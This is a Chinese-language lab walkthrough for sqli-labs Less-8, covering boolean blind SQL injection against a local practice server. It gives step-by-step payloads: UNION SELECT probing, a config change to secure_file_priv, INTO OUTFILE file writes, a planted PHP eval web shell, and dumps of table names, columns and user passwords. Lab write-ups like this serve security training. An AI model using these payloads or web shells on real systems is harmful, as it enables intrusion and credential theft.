Sql注入
- Sqli-labs闯关less-8(布尔盲注)
IP:192.168.1.120
盲注是SQL注入的一种,之所以成为盲注是因为他不会根据SQL注入的攻击语句返回你想要知道的错误信息。
步骤一: 打开phpstudy启动,在浏览器上方搜索栏中输入网络环回口(网络环回口:192.168.1.120)加端口号7777 如图:
步骤二:查看分析源码(调出less-8源码:在PHPstudy中其他菜单/网站根目录/sqli-labs-master/less-8/index.php)如图:
步骤三:构建payload ?id=1’尝试单引号,可以通过URL地址栏直接看出不同,正确的结果就是不显示。如图:
步骤四:查看当前的字段分组?id=1’ order by 4 --+ 如图:
4显示错误,向下来猜选?id=1’ order by 3 --+
3返回路径You are in……正确路径,说明第四关有3个分组
步骤五:获取数据路径
有源代码可知本实验界面没有回显位,可通过其他实验页面查看文件路径
构建payload: ?id=0’ union select 1,2,@@datadir --+
使用less-2实验查看文件路径?id=0 union select 1,2,@@datadir 如图:
总结@@datadir可以推断出网站的绝对路径为D:\phpStudy\PHPTutotial\WWW\
步骤六:读写权限测试
构建payload:?id=1’ and (select count(*)from mysql.user)>0 --+如下图:
返回正常则有读写权限
步骤七:提升权限
解决方法:找到PHPstudy打开配置文件mysql-Lin文件,在其中添加代码:secure file priv=”/”,重启phpmysql生效
步骤八:使用into outfile函数构建payload
构建Payload:?id=1’ union select 1,2,3 into outfile
“D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-8\\1.txt” --+
如有图中显示错误,可以直接在浏览器或后台中可以看到1.txt文件已经生成了。如下图:
步骤九:构建一句话密码
构建payload:?id=0’ union select 1,2,’<?php @eval($_POST[“admin”])?>’ inot oufile “D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-8\\1.php” --+ 如下图:
对文件进行导入导出首先得要有足够的权限,但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)secure_file_priy 参数是用来限制LOAD DATA,SELECT… OUTFLE,and LOAD-FILE()传到那个指定目录的。
步骤十:导出数据库名
构建payload:?id=0’ union select 1,user(),database() into outfile
“D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-8\\2.txt” --+ 如下图:
步骤十一:导出表名
构建payload:?id=0’ union select 1,2,table_name from information_schema.tables where table_schema=’securit’ into outfile
“D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-8\\3.txt” --+ 如下图:
步骤十二:导出列表
构建payload:?id=0’ union select 1,2,column_name from information_schema.columns where table_schema=’security’ and table_name =’users’ into outfile
“D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-8\\4.txt” --+ 如下图:
步骤十三:导出数据
构建payload:?id=0’ union select 1,username,password from users into outfile “D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-8\\5.txt” --+ 如下图:
完成!